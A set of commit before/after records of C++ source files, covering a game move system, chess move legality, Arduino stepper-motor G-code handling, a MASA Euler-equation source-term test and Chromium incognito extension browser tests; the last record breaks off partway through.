{"text":"<commit_before>#include \"MoveSystem.h\"\n\n#include <iostream>\n\nvoid MoveSystem::update(int currentStep)\n{\n    const std::vector<int> &uidList = movementNode.uids();\n\tfor(int i = 0; i < uidList.size(); i++)\n\t{\n\t\tMovementNode &n = movementNode.get(uidList.at(i));\n\n\t\tPositionComponent &p = n.position;\n\t\tconst VelocityComponent &v = n.velocity;\n\t\tp.positionX += v.velocityX;\n\t\tstd::cout << p.positionX << \"\\n\";\n\t}\n}<commit_msg>Change: velocity definition<commit_after>#include \"MoveSystem.h\"\n\n#include <iostream>\n\nvoid MoveSystem::update(int currentStep)\n{\n    const std::vector<int> &uidList = movementNode.uids();\n\tfor(int i = 0; i < uidList.size(); i++)\n\t{\n\t\tMovementNode &n = movementNode.get(uidList.at(i));\n\n\t\tPositionComponent &p = n.position;\n\t\tconst VelocityComponent &v = n.velocity;\n\t\tconst PositionTargetComponent &t = n.target;\n\t\t\n\t\tp.positionX += v.velocityFB;\n\t}\n}<|endoftext|>"}
{"text":"<commit_before>#include \"Moves\/Move.h\"\n\n#include <cassert>\n\n#include \"Game\/Board.h\"\n#include \"Game\/Game_Result.h\"\n#include \"Game\/Piece.h\"\n#include \"Utility.h\"\n\n\nMove::Move(char file_start, int rank_start,\n           char file_end,   int rank_end) :\n               starting_file(file_start),\n               starting_rank(rank_start),\n               ending_file(file_end),\n               ending_rank(rank_end),\n               able_to_capture(true),\n               is_en_passant_move(false),\n               is_castling_move(false)\n{\n    assert(std::abs(file_change()) < 8);\n    assert(std::abs(rank_change()) < 8);\n    assert(file_change() != 0 || rank_change() != 0);\n}\n\nvoid Move::side_effects(Board&) const\n{\n}\n\nbool Move::is_legal(const Board& board) const\n{\n    assert(Board::inside_board(starting_file, starting_rank));\n    assert(Board::inside_board(ending_file, ending_rank));\n\n    \/\/ Piece-move compatibility\n    auto moving_piece = board.piece_on_square(starting_file, starting_rank);\n    assert(moving_piece);\n    assert(moving_piece->color() == board.whose_turn());\n    assert(moving_piece->can_move(this));\n\n    auto attacked_piece = board.piece_on_square(ending_file, ending_rank);\n    if(attacked_piece)\n    {\n        \/\/ Cannot capture piece of same color\n        if(moving_piece->color() == attacked_piece->color())\n        {\n            return false;\n        }\n\n        \/\/ Enforce non-capturing moves\n        if( ! can_capture())\n        {\n            return false;\n        }\n    }\n\n\n    if( ! move_specific_legal(board))\n    {\n        return false;\n    }\n\n    \/\/ King should not be in check after move\n    return ! board.king_is_in_check_after_move(*this);\n}\n\nbool Move::move_specific_legal(const Board&) const\n{\n    return true;\n}\n\nbool Move::can_capture() const\n{\n    return able_to_capture;\n}\n\nchar Move::start_file() const\n{\n    return starting_file;\n}\n\nint Move::start_rank() const\n{\n    return starting_rank;\n}\n\nint Move::file_change() const\n{\n    return ending_file - starting_file;\n}\n\nint Move::rank_change() const\n{\n    return ending_rank - starting_rank;\n}\n\nchar Move::end_file() const\n{\n    return ending_file;\n}\n\nint Move::end_rank() const\n{\n    return ending_rank;\n}\n\nstd::string Move::game_record_item(const Board& board) const\n{\n    return game_record_move_item(board) + game_record_ending_item(board);\n}\n\nstd::string Move::game_record_move_item(const Board& board) const\n{\n    auto original_piece = board.piece_on_square(starting_file, starting_rank);\n    std::string move_record = original_piece->pgn_symbol();\n\n    bool record_file = false;\n    bool record_rank = false;\n    for(char file_other = 'a'; file_other <= 'h'; ++file_other)\n    {\n        for(int rank_other = 1; rank_other <= 8; ++rank_other)\n        {\n            if( ! board.piece_on_square(file_other, rank_other))\n            {\n                continue;\n            }\n            if(file_other == starting_file && rank_other == starting_rank)\n            {\n                continue;\n            }\n            if(file_other == ending_file && rank_other == ending_rank)\n            {\n                continue;\n            }\n            auto new_piece = board.piece_on_square(file_other, rank_other);\n            if(original_piece != new_piece)\n            {\n                continue;\n            }\n\n            if(board.is_legal(file_other, rank_other, ending_file, ending_rank))\n            {\n                if(file_other != starting_file && ! record_file)\n                {\n                    record_file = true;\n                    continue;\n                }\n                if(rank_other != starting_rank)\n                {\n                    record_rank = true;\n                }\n            }\n        }\n    }\n\n    if(record_file)\n    {\n        move_record += starting_file;\n    }\n    if(record_rank)\n    {\n        move_record += std::to_string(starting_rank);\n    }\n\n    if(board.piece_on_square(ending_file, ending_rank))\n    {\n        move_record += 'x';\n    }\n\n    move_record += ending_file + std::to_string(ending_rank);\n\n    return move_record;\n}\n\nstd::string Move::game_record_ending_item(Board board) const\n{\n    auto result = board.submit_move(*this);\n    std::string appendage;\n\n    if(board.king_is_in_check())\n    {\n        appendage.push_back('+');\n    }\n\n    if(result.game_has_ended())\n    {\n        appendage += result.game_record_annotation();\n    }\n\n    return appendage.substr(String::starts_with(appendage, \"+#\") ? 1 : 0);\n}\n\nstd::string Move::coordinate_move() const\n{\n    return starting_file\n           + std::to_string(starting_rank)\n           + ending_file\n           + std::to_string(ending_rank);\n}\n\nbool Move::is_en_passant() const\n{\n    return is_en_passant_move;\n}\n\nbool Move::is_castling() const\n{\n    return is_castling_move;\n}\n\nchar Move::promotion_piece_symbol() const\n{\n    return '\\0';\n}\n<commit_msg>Remove extra call to Board::piece_on_square() from release build<commit_after>#include \"Moves\/Move.h\"\n\n#include <cassert>\n\n#include \"Game\/Board.h\"\n#include \"Game\/Game_Result.h\"\n#include \"Game\/Piece.h\"\n#include \"Utility.h\"\n\n\nMove::Move(char file_start, int rank_start,\n           char file_end,   int rank_end) :\n               starting_file(file_start),\n               starting_rank(rank_start),\n               ending_file(file_end),\n               ending_rank(rank_end),\n               able_to_capture(true),\n               is_en_passant_move(false),\n               is_castling_move(false)\n{\n    assert(std::abs(file_change()) < 8);\n    assert(std::abs(rank_change()) < 8);\n    assert(file_change() != 0 || rank_change() != 0);\n}\n\nvoid Move::side_effects(Board&) const\n{\n}\n\nbool Move::is_legal(const Board& board) const\n{\n    assert(Board::inside_board(starting_file, starting_rank));\n    assert(Board::inside_board(ending_file, ending_rank));\n\n    \/\/ Piece-move compatibility\n    assert(board.piece_on_square(starting_file, starting_rank));\n    assert(board.piece_on_square(starting_file, starting_rank)->color() == board.whose_turn());\n    assert(board.piece_on_square(starting_file, starting_rank)->can_move(this));\n\n    auto attacked_piece = board.piece_on_square(ending_file, ending_rank);\n    if(attacked_piece)\n    {\n        \/\/ Cannot capture piece of same color\n        if(board.whose_turn() == attacked_piece->color())\n        {\n            return false;\n        }\n\n        \/\/ Enforce non-capturing moves\n        if( ! can_capture())\n        {\n            return false;\n        }\n    }\n\n\n    if( ! move_specific_legal(board))\n    {\n        return false;\n    }\n\n    \/\/ King should not be in check after move\n    return ! board.king_is_in_check_after_move(*this);\n}\n\nbool Move::move_specific_legal(const Board&) const\n{\n    return true;\n}\n\nbool Move::can_capture() const\n{\n    return able_to_capture;\n}\n\nchar Move::start_file() const\n{\n    return starting_file;\n}\n\nint Move::start_rank() const\n{\n    return starting_rank;\n}\n\nint Move::file_change() const\n{\n    return ending_file - starting_file;\n}\n\nint Move::rank_change() const\n{\n    return ending_rank - starting_rank;\n}\n\nchar Move::end_file() const\n{\n    return ending_file;\n}\n\nint Move::end_rank() const\n{\n    return ending_rank;\n}\n\nstd::string Move::game_record_item(const Board& board) const\n{\n    return game_record_move_item(board) + game_record_ending_item(board);\n}\n\nstd::string Move::game_record_move_item(const Board& board) const\n{\n    auto original_piece = board.piece_on_square(starting_file, starting_rank);\n    std::string move_record = original_piece->pgn_symbol();\n\n    bool record_file = false;\n    bool record_rank = false;\n    for(char file_other = 'a'; file_other <= 'h'; ++file_other)\n    {\n        for(int rank_other = 1; rank_other <= 8; ++rank_other)\n        {\n            if( ! board.piece_on_square(file_other, rank_other))\n            {\n                continue;\n            }\n            if(file_other == starting_file && rank_other == starting_rank)\n            {\n                continue;\n            }\n            if(file_other == ending_file && rank_other == ending_rank)\n            {\n                continue;\n            }\n            auto new_piece = board.piece_on_square(file_other, rank_other);\n            if(original_piece != new_piece)\n            {\n                continue;\n            }\n\n            if(board.is_legal(file_other, rank_other, ending_file, ending_rank))\n            {\n                if(file_other != starting_file && ! record_file)\n                {\n                    record_file = true;\n                    continue;\n                }\n                if(rank_other != starting_rank)\n                {\n                    record_rank = true;\n                }\n            }\n        }\n    }\n\n    if(record_file)\n    {\n        move_record += starting_file;\n    }\n    if(record_rank)\n    {\n        move_record += std::to_string(starting_rank);\n    }\n\n    if(board.piece_on_square(ending_file, ending_rank))\n    {\n        move_record += 'x';\n    }\n\n    move_record += ending_file + std::to_string(ending_rank);\n\n    return move_record;\n}\n\nstd::string Move::game_record_ending_item(Board board) const\n{\n    auto result = board.submit_move(*this);\n    std::string appendage;\n\n    if(board.king_is_in_check())\n    {\n        appendage.push_back('+');\n    }\n\n    if(result.game_has_ended())\n    {\n        appendage += result.game_record_annotation();\n    }\n\n    return appendage.substr(String::starts_with(appendage, \"+#\") ? 1 : 0);\n}\n\nstd::string Move::coordinate_move() const\n{\n    return starting_file\n           + std::to_string(starting_rank)\n           + ending_file\n           + std::to_string(ending_rank);\n}\n\nbool Move::is_en_passant() const\n{\n    return is_en_passant_move;\n}\n\nbool Move::is_castling() const\n{\n    return is_castling_move;\n}\n\nchar Move::promotion_piece_symbol() const\n{\n    return '\\0';\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * G00Handler.cpp\n *\n *  Created on: 15 maj 2014\n *      Author: MattLech\n *\/\n\n#include \"GCodeHandler.h\"\n#include \"G00Handler.h\"\n#include \"CurrentState.h\"\n#include \"pins.h\"\n#include \"Config.h\"\n\nstatic G00Handler* instance;\n\nG00Handler * G00Handler::getInstance() {\n\tif (!instance) {\n\t\tinstance = new G00Handler();\n\t};\n\treturn instance;\n}\n;\n\nG00Handler::G00Handler() {\n}\n\nlong adjustStepAmount(long steps) {\n\tif (steps < 0) {\n\t\treturn steps + 1;\n\t} else if (steps > 0) {\n\t\treturn steps - 1;\n\t} else {\n\t\treturn 0;\n\t}\n}\n\nlong getNumberOfSteps(double destinationNumber, double currentNumber) {\n\treturn destinationNumber - currentNumber;\n}\n\nint GCodeHandler::execute(Command* command) {\n\tlong xStepsNeeded = getNumberOfSteps(command->getX(),\n\t\t\tCurrentState::getInstance()->getX());\n\tlong yStepsNeeded = getNumberOfSteps(command->getY(),\n\t\t\tCurrentState::getInstance()->getY());\n\tlong zStepsNeeded = getNumberOfSteps(command->getZ(),\n\t\t\tCurrentState::getInstance()->getZ());\n\tif(LOGGING) {\n\t\tSerial.print(\"Steps X:\");\n\t\tSerial.print(xStepsNeeded);\n\t\tSerial.print(\", Steps Y:\");\n\t\tSerial.print(yStepsNeeded);\n\t\tSerial.print(\", Steps Z:\");\n\t\tSerial.println(zStepsNeeded);\n\t}\n\tif (xStepsNeeded > 0) {\n\t\tdigitalWrite(X_DIR_PIN, LOW);\n\t} else {\n\t\tdigitalWrite(X_DIR_PIN, HIGH);\n\t}\n\tif (yStepsNeeded > 0) {\n\t\tdigitalWrite(Y_DIR_PIN, LOW);\n\t} else {\n\t\tdigitalWrite(Y_DIR_PIN, HIGH);\n\t}\n\tif (zStepsNeeded > 0) {\n\t\tdigitalWrite(Z_DIR_PIN, LOW);\n\t} else {\n\t\tdigitalWrite(Z_DIR_PIN, HIGH);\n\t}\n\n\tCurrentState::getInstance()->setX(\n\t\t\tCurrentState::getInstance()->getX() + xStepsNeeded);\n\tCurrentState::getInstance()->setY(\n\t\t\tCurrentState::getInstance()->getY() + yStepsNeeded);\n\tCurrentState::getInstance()->setZ(\n\t\t\tCurrentState::getInstance()->getZ() + zStepsNeeded);\n\n\tdigitalWrite(X_ENABLE_PIN, LOW);\n\tdigitalWrite(Y_ENABLE_PIN, LOW);\n\tdigitalWrite(Z_ENABLE_PIN, LOW);\n\n\twhile (xStepsNeeded != 0 || yStepsNeeded != 0 || zStepsNeeded != 0) {\n\t\tif (xStepsNeeded != 0) {\n\t\t\tdigitalWrite(X_STEP_PIN, HIGH);\n\t\t}\n\t\tif (yStepsNeeded != 0) {\n\t\t\tdigitalWrite(Y_STEP_PIN, HIGH);\n\t\t}\n\t\tif (zStepsNeeded != 0) {\n\t\t\tdigitalWrite(Z_STEP_PIN, HIGH);\n\t\t}\n\t\tdelay(5);\n\t\tif (xStepsNeeded != 0) {\n\t\t\tdigitalWrite(X_STEP_PIN, LOW);\n\t\t\txStepsNeeded = adjustStepAmount(xStepsNeeded);\n\t\t}\n\t\tif (yStepsNeeded != 0) {\n\t\t\tdigitalWrite(Y_STEP_PIN, LOW);\n\t\t\tyStepsNeeded = adjustStepAmount(yStepsNeeded);\n\t\t}\n\t\tif (zStepsNeeded != 0) {\n\t\t\tdigitalWrite(Z_STEP_PIN, LOW);\n\t\t\tzStepsNeeded = adjustStepAmount(zStepsNeeded);\n\t\t}\n\n\t}\n\tif(LOGGING) {\n\t\tCurrentState::getInstance()->print();\n\t}\n\treturn 0;\n}\n<commit_msg>Inverted the direction of all axis<commit_after>\/*\n * G00Handler.cpp\n *\n *  Created on: 15 maj 2014\n *      Author: MattLech\n *\/\n\n#include \"GCodeHandler.h\"\n#include \"G00Handler.h\"\n#include \"CurrentState.h\"\n#include \"pins.h\"\n#include \"Config.h\"\n\nstatic G00Handler* instance;\n\nG00Handler * G00Handler::getInstance() {\n\tif (!instance) {\n\t\tinstance = new G00Handler();\n\t};\n\treturn instance;\n}\n;\n\nG00Handler::G00Handler() {\n}\n\nlong adjustStepAmount(long steps) {\n\tif (steps < 0) {\n\t\treturn steps + 1;\n\t} else if (steps > 0) {\n\t\treturn steps - 1;\n\t} else {\n\t\treturn 0;\n\t}\n}\n\nlong getNumberOfSteps(double destinationNumber, double currentNumber) {\n\treturn destinationNumber - currentNumber;\n}\n\nint GCodeHandler::execute(Command* command) {\n\tlong xStepsNeeded = getNumberOfSteps(command->getX(),\n\t\t\tCurrentState::getInstance()->getX());\n\tlong yStepsNeeded = getNumberOfSteps(command->getY(),\n\t\t\tCurrentState::getInstance()->getY());\n\tlong zStepsNeeded = getNumberOfSteps(command->getZ(),\n\t\t\tCurrentState::getInstance()->getZ());\n\tif(LOGGING) {\n\t\tSerial.print(\"Steps X:\");\n\t\tSerial.print(xStepsNeeded);\n\t\tSerial.print(\", Steps Y:\");\n\t\tSerial.print(yStepsNeeded);\n\t\tSerial.print(\", Steps Z:\");\n\t\tSerial.println(zStepsNeeded);\n\t}\n\tif (xStepsNeeded > 0) {\n\t\tdigitalWrite(X_DIR_PIN, HIGH);\n\t} else {\n\t\tdigitalWrite(X_DIR_PIN, LOW);\n\t}\n\tif (yStepsNeeded > 0) {\n\t\tdigitalWrite(Y_DIR_PIN, HIGH);\n\t} else {\n\t\tdigitalWrite(Y_DIR_PIN, LOW);\n\t}\n\tif (zStepsNeeded > 0) {\n\t\tdigitalWrite(Z_DIR_PIN, HIGH);\n\t} else {\n\t\tdigitalWrite(Z_DIR_PIN, LOW);\n\t}\n\n\tCurrentState::getInstance()->setX(\n\t\t\tCurrentState::getInstance()->getX() + xStepsNeeded);\n\tCurrentState::getInstance()->setY(\n\t\t\tCurrentState::getInstance()->getY() + yStepsNeeded);\n\tCurrentState::getInstance()->setZ(\n\t\t\tCurrentState::getInstance()->getZ() + zStepsNeeded);\n\n\tdigitalWrite(X_ENABLE_PIN, LOW);\n\tdigitalWrite(Y_ENABLE_PIN, LOW);\n\tdigitalWrite(Z_ENABLE_PIN, LOW);\n\n\twhile (xStepsNeeded != 0 || yStepsNeeded != 0 || zStepsNeeded != 0) {\n\t\tif (xStepsNeeded != 0) {\n\t\t\tdigitalWrite(X_STEP_PIN, HIGH);\n\t\t}\n\t\tif (yStepsNeeded != 0) {\n\t\t\tdigitalWrite(Y_STEP_PIN, HIGH);\n\t\t}\n\t\tif (zStepsNeeded != 0) {\n\t\t\tdigitalWrite(Z_STEP_PIN, HIGH);\n\t\t}\n\t\tdelay(5);\n\t\tif (xStepsNeeded != 0) {\n\t\t\tdigitalWrite(X_STEP_PIN, LOW);\n\t\t\txStepsNeeded = adjustStepAmount(xStepsNeeded);\n\t\t}\n\t\tif (yStepsNeeded != 0) {\n\t\t\tdigitalWrite(Y_STEP_PIN, LOW);\n\t\t\tyStepsNeeded = adjustStepAmount(yStepsNeeded);\n\t\t}\n\t\tif (zStepsNeeded != 0) {\n\t\t\tdigitalWrite(Z_STEP_PIN, LOW);\n\t\t\tzStepsNeeded = adjustStepAmount(zStepsNeeded);\n\t\t}\n\n\t}\n\tif(LOGGING) {\n\t\tCurrentState::getInstance()->print();\n\t}\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"dualnumberarray.h\"\n#include <iostream>\n#include <masa.h>\n\ntypedef double RawScalar;\n\ntemplate <std::size_t NDIM, typename Scalar>\nvoid evaluate_q (const NumberArray<NDIM, Scalar>& xyz);\n\nusing namespace MASA;\n\nint main(void)\n{\n  int err = 0;\n\n  const unsigned int NDIM = 2;\n\n  const RawScalar xvecinit[] = {1., 0.};\n  const RawScalar yvecinit[] = {0., 1.};\n\n  const NumberArray<NDIM, RawScalar> xvec(xvecinit);\n  const NumberArray<NDIM, RawScalar> yvec(yvecinit);\n\n  typedef DualNumber<RawScalar, NumberArray<NDIM, RawScalar> > FirstDerivType;\n  typedef DualNumber<FirstDerivType, NumberArray<NDIM, FirstDerivType> > SecondDerivType;\n\n  typedef SecondDerivType ADType;\n  \/\/ typedef FirstDerivType ADType;\n\n  \/\/ initialize the problem in MASA\n  err += masa_init(\"euler-maple\",\"euler_2d\");\n  \n  \/\/ call the sanity check routine\n  \/\/ (tests that all variables have been initialized)\n  err += masa_sanity_check();\n  err += masa_printid<double>();\n\n  \/\/ set up array\n  NumberArray<NDIM, ADType> xy;\n  xy[0] = ADType(1., xvec);\n  xy[1] = ADType(1., yvec);\n\n  \/\/ evaluate source terms\n  evaluate_q(xy);\n\n}\n\n\/\/ Note: ADScalar needs to be a FirstDerivType or better since we have\n\/\/ first derivatives here.  Adding diffusion will require a\n\/\/ SecondDerivType or better\n\ntemplate <std::size_t NDIM, typename ADScalar>\nvoid evaluate_q (const NumberArray<NDIM, ADScalar>& xyz)\n{\n  typedef typename RawType<ADScalar>::value_type Scalar;\n\n  const Scalar PI = std::acos(Scalar(-1));\n\n  const Scalar k = 1.38;\n  const Scalar u_0 = 200.23;\n  const Scalar u_x = 1.1;\n  const Scalar u_y = 1.08;\n  const Scalar v_0 = 1.2;\n  const Scalar v_x = 1.6;\n  const Scalar v_y = .47;\n  const Scalar rho_0 = 100.02;\n  const Scalar rho_x = 2.22;\n  const Scalar rho_y = 0.8;\n  const Scalar p_0 = 150.2;\n  const Scalar p_x = .91;\n  const Scalar p_y = .623;\n  const Scalar a_px = .165;\n  const Scalar a_py = .612;\n  const Scalar a_rhox = 1.0;\n  const Scalar a_rhoy = 1.0;\n  const Scalar a_ux = .1987;\n  const Scalar a_uy = 1.189;\n  const Scalar a_vx = 1.91;\n  const Scalar a_vy = 1.0;\n  const Scalar Gamma = 1.01;\n  const Scalar mu = .918;\n  const Scalar L = 3.02;\n\n  const ADScalar& x = xyz[0];\n  const ADScalar& y = xyz[1];\n\n  \/\/ Treat velocity as a vector\n  NumberArray<NDIM, ADScalar> U;\n\n  \/\/ Arbitrary manufactured solution\n  U[0] = u_0 + u_x * std::sin(a_ux * PI * x \/ L) + u_y * std::cos(a_uy * PI * y \/ L);\n  U[1] = v_0 + v_x * std::cos(a_vx * PI * x \/ L) + v_y * std::sin(a_vy * PI * y \/ L);\n  ADScalar RHO = rho_0 + rho_x * std::sin(a_rhox * PI * x \/ L) + rho_y * std::cos(a_rhoy * PI * y \/ L);\n  ADScalar P = p_0 + p_x * std::cos(a_px * PI * x \/ L) + p_y * std::sin(a_py * PI * y \/ L);\n\n  \/\/ Perfect gas energies\n  ADScalar E = 1.\/(Gamma-1.)*P\/RHO;\n  ADScalar ET = E + .5 * U.dot(U);\n\n  \/\/ Euler equation residuals\n  Scalar Q_rho = raw_value(divergence(U));\n  NumberArray<NDIM, Scalar> Q_rho_u = raw_value(divergence(RHO*U.outerproduct(U)) + P.derivatives());\n  Scalar Q_rho_e = raw_value(divergence((RHO*ET+P)*U));\n  \n\n\/\/  std::cout << f;\n}\n<commit_msg>[masa]: adding roys notes to code<commit_after>#include \"dualnumberarray.h\"\n#include <iostream>\n#include <masa.h>\n\ntypedef double RawScalar;\n\ntemplate <std::size_t NDIM, typename Scalar>\nvoid evaluate_q (const NumberArray<NDIM, Scalar>& xyz);\n\nusing namespace MASA;\n\nint main(void)\n{\n  int err = 0;\n\n  const unsigned int NDIM = 2;\n\n  const RawScalar xvecinit[] = {1., 0.};\n  const RawScalar yvecinit[] = {0., 1.};\n\n  const NumberArray<NDIM, RawScalar> xvec(xvecinit);\n  const NumberArray<NDIM, RawScalar> yvec(yvecinit);\n\n  typedef DualNumber<RawScalar, NumberArray<NDIM, RawScalar> > FirstDerivType;\n  typedef DualNumber<FirstDerivType, NumberArray<NDIM, FirstDerivType> > SecondDerivType;\n\n  typedef SecondDerivType ADType;\n  \/\/ typedef FirstDerivType ADType;\n\n  \/\/ initialize the problem in MASA\n  err += masa_init(\"euler-maple\",\"euler_2d\");\n  \n  \/\/ call the sanity check routine\n  \/\/ (tests that all variables have been initialized)\n  err += masa_sanity_check();\n  err += masa_printid<double>();\n\n  \/\/ we first set up the DualNumber::derivatives() terms.  \n  \/\/ When main() says \"xy[0] = ADType(1., xvec);\", that's saying \"x = 1, and \n  \/\/ the gradient of f(x,y)=x is the constant vector xvec={1,0}\"  \n  \/\/ Likewise \"xy[1] = ADType(1., yvec);\" means \"y = 1, and the gradient of f(x,y)=y \n  \/\/ is the constant vector yvec={0,1}\" \n  NumberArray<NDIM, ADType> xy;\n  xy[0] = ADType(1., xvec);\n  xy[1] = ADType(1., yvec);\n\n  \/\/ the input argument xyz is another NumberArray \n  \/\/ a vector just like Q_rho_u, a spatial location rather \n  \/\/ than a vector-valued forcing function.\n  double h = 1.0\/N;\n  for (int i=0; i != N+1; ++i)\n    {\n      xy[0] = ADType(i*h,xvec);\n      for (int j=0; j != N+1; ++j)\n\t{\n\t  xy[1] = ADType(j*h,yvec);\n\t  do_my_test(xy);\n\t}\n    }\n\n  \/\/ evaluate source terms\n  evaluate_q(xy);\n\n}\n\n\/\/ Note: ADScalar needs to be a FirstDerivType or better since we have\n\/\/ first derivatives here.  Adding diffusion will require a\n\/\/ SecondDerivType or better\n\ntemplate <std::size_t NDIM, typename ADScalar>\nvoid evaluate_q (const NumberArray<NDIM, ADScalar>& xyz)\n{\n  typedef typename RawType<ADScalar>::value_type Scalar;\n\n  const Scalar PI = std::acos(Scalar(-1));\n\n  const Scalar k = 1.38;\n  const Scalar u_0 = 200.23;\n  const Scalar u_x = 1.1;\n  const Scalar u_y = 1.08;\n  const Scalar v_0 = 1.2;\n  const Scalar v_x = 1.6;\n  const Scalar v_y = .47;\n  const Scalar rho_0 = 100.02;\n  const Scalar rho_x = 2.22;\n  const Scalar rho_y = 0.8;\n  const Scalar p_0 = 150.2;\n  const Scalar p_x = .91;\n  const Scalar p_y = .623;\n  const Scalar a_px = .165;\n  const Scalar a_py = .612;\n  const Scalar a_rhox = 1.0;\n  const Scalar a_rhoy = 1.0;\n  const Scalar a_ux = .1987;\n  const Scalar a_uy = 1.189;\n  const Scalar a_vx = 1.91;\n  const Scalar a_vy = 1.0;\n  const Scalar Gamma = 1.01;\n  const Scalar mu = .918;\n  const Scalar L = 3.02;\n\n  const ADScalar& x = xyz[0];\n  const ADScalar& y = xyz[1];\n\n  \/\/ Treat velocity as a vector\n  NumberArray<NDIM, ADScalar> U;\n\n  \/\/ Arbitrary manufactured solution\n  U[0] = u_0 + u_x * std::sin(a_ux * PI * x \/ L) + u_y * std::cos(a_uy * PI * y \/ L);\n  U[1] = v_0 + v_x * std::cos(a_vx * PI * x \/ L) + v_y * std::sin(a_vy * PI * y \/ L);\n  ADScalar RHO = rho_0 + rho_x * std::sin(a_rhox * PI * x \/ L) + rho_y * std::cos(a_rhoy * PI * y \/ L);\n  ADScalar P = p_0 + p_x * std::cos(a_px * PI * x \/ L) + p_y * std::sin(a_py * PI * y \/ L);\n\n  \/\/ Perfect gas energies\n  ADScalar E = 1.\/(Gamma-1.)*P\/RHO;\n  ADScalar ET = E + .5 * U.dot(U);\n\n  \/\/ Euler equation residuals\n  Scalar Q_rho = raw_value(divergence(U));\n  NumberArray<NDIM, Scalar> Q_rho_u = raw_value(divergence(RHO*U.outerproduct(U)) + P.derivatives());\n  Scalar Q_rho_e = raw_value(divergence((RHO*ET+P)*U));\n  \n\n\/\/  std::cout << f;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/browser_list.h\"\n#include \"chrome\/browser\/browser_window.h\"\n#include \"chrome\/browser\/extensions\/browser_action_test_util.h\"\n#include \"chrome\/browser\/extensions\/extension_apitest.h\"\n#include \"chrome\/browser\/extensions\/extension_service.h\"\n#include \"chrome\/browser\/extensions\/extension_test_message_listener.h\"\n#include \"chrome\/browser\/extensions\/user_script_master.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"chrome\/test\/ui_test_utils.h\"\n#include \"content\/browser\/tab_contents\/tab_contents.h\"\n#include \"net\/base\/mock_host_resolver.h\"\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, IncognitoNoScript) {\n  ASSERT_TRUE(StartTestServer());\n\n  \/\/ Loads a simple extension which attempts to change the title of every page\n  \/\/ that loads to \"modified\".\n  ASSERT_TRUE(LoadExtension(test_data_dir_.AppendASCII(\"incognito\")\n      .AppendASCII(\"content_scripts\")));\n\n  \/\/ Open incognito window and navigate to test page.\n  ui_test_utils::OpenURLOffTheRecord(\n      browser()->profile(),\n      test_server()->GetURL(\"files\/extensions\/test_file.html\"));\n\n  Browser* otr_browser = BrowserList::FindBrowserWithType(\n      browser()->profile()->GetOffTheRecordProfile(), Browser::TYPE_NORMAL,\n      false);\n  TabContents* tab = otr_browser->GetSelectedTabContents();\n\n  \/\/ Verify the script didn't run.\n  bool result = false;\n  ASSERT_TRUE(ui_test_utils::ExecuteJavaScriptAndExtractBool(\n      tab->render_view_host(), L\"\",\n      L\"window.domAutomationController.send(document.title == 'Unmodified')\",\n      &result));\n  EXPECT_TRUE(result);\n}\n\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, IncognitoYesScript) {\n  host_resolver()->AddRule(\"*\", \"127.0.0.1\");\n  ASSERT_TRUE(StartTestServer());\n\n  \/\/ Load a dummy extension. This just tests that we don't regress a\n  \/\/ crash fix when multiple incognito- and non-incognito-enabled extensions\n  \/\/ are mixed.\n  ASSERT_TRUE(LoadExtension(test_data_dir_.AppendASCII(\"content_scripts\")\n      .AppendASCII(\"all_frames\")));\n\n  \/\/ Loads a simple extension which attempts to change the title of every page\n  \/\/ that loads to \"modified\".\n  ASSERT_TRUE(LoadExtensionIncognito(test_data_dir_\n      .AppendASCII(\"incognito\").AppendASCII(\"content_scripts\")));\n\n  \/\/ Dummy extension #2.\n  ASSERT_TRUE(LoadExtension(test_data_dir_\n      .AppendASCII(\"content_scripts\").AppendASCII(\"isolated_world1\")));\n\n  \/\/ Open incognito window and navigate to test page.\n  ui_test_utils::OpenURLOffTheRecord(\n      browser()->profile(),\n      test_server()->GetURL(\"files\/extensions\/test_file.html\"));\n\n  Browser* otr_browser = BrowserList::FindBrowserWithType(\n      browser()->profile()->GetOffTheRecordProfile(), Browser::TYPE_NORMAL,\n      false);\n  TabContents* tab = otr_browser->GetSelectedTabContents();\n\n  \/\/ Verify the script ran.\n  bool result = false;\n  ASSERT_TRUE(ui_test_utils::ExecuteJavaScriptAndExtractBool(\n      tab->render_view_host(), L\"\",\n      L\"window.domAutomationController.send(document.title == 'modified')\",\n      &result));\n  EXPECT_TRUE(result);\n}\n\n\/\/ Tests that an extension which is enabled for incognito mode doesn't\n\/\/ accidentially create and incognito profile.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, DontCreateIncognitoProfile) {\n  ASSERT_FALSE(browser()->profile()->HasOffTheRecordProfile());\n  ASSERT_TRUE(RunExtensionTestIncognito(\n      \"incognito\/dont_create_profile\")) << message_;\n  ASSERT_FALSE(browser()->profile()->HasOffTheRecordProfile());\n}\n\n\/\/ Tests that the APIs in an incognito-enabled extension work properly.\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, Incognito) {\n  host_resolver()->AddRule(\"*\", \"127.0.0.1\");\n  ASSERT_TRUE(StartTestServer());\n\n  ResultCatcher catcher;\n\n  \/\/ Open incognito window and navigate to test page.\n  ui_test_utils::OpenURLOffTheRecord(\n      browser()->profile(),\n      test_server()->GetURL(\"files\/extensions\/test_file.html\"));\n\n  ASSERT_TRUE(LoadExtensionIncognito(test_data_dir_\n      .AppendASCII(\"incognito\").AppendASCII(\"apis\")));\n\n  EXPECT_TRUE(catcher.GetNextResult()) << catcher.message();\n}\n\n\/\/ Tests that the APIs in an incognito-enabled split-mode extension work\n\/\/ properly.\n\/\/ Hangs flakily on mac, linux, win: http:\/\/crbug.com\/53991\nIN_PROC_BROWSER_TEST_F(ExtensionApiTest, DISABLED_IncognitoSplitMode) {\n  host_resolver()->AddRule(\"*\", \"127.0.0.1\");\n  ASSERT_TRUE(StartTestServer());\n\n  \/\/ We need 2 ResultCatchers because we'll be running the same test in both\n  \/\/ regular and incognito mode.\n  ResultCatcher catcher;\n  catcher.RestrictToProfile(browser()->profile());\n  ResultCatcher catcher_incognito;\n  catcher_incognito.RestrictToProfile(\n      browser()->profile()->GetOffTheRecordProfile());\n\n  \/\/ Open incognito window 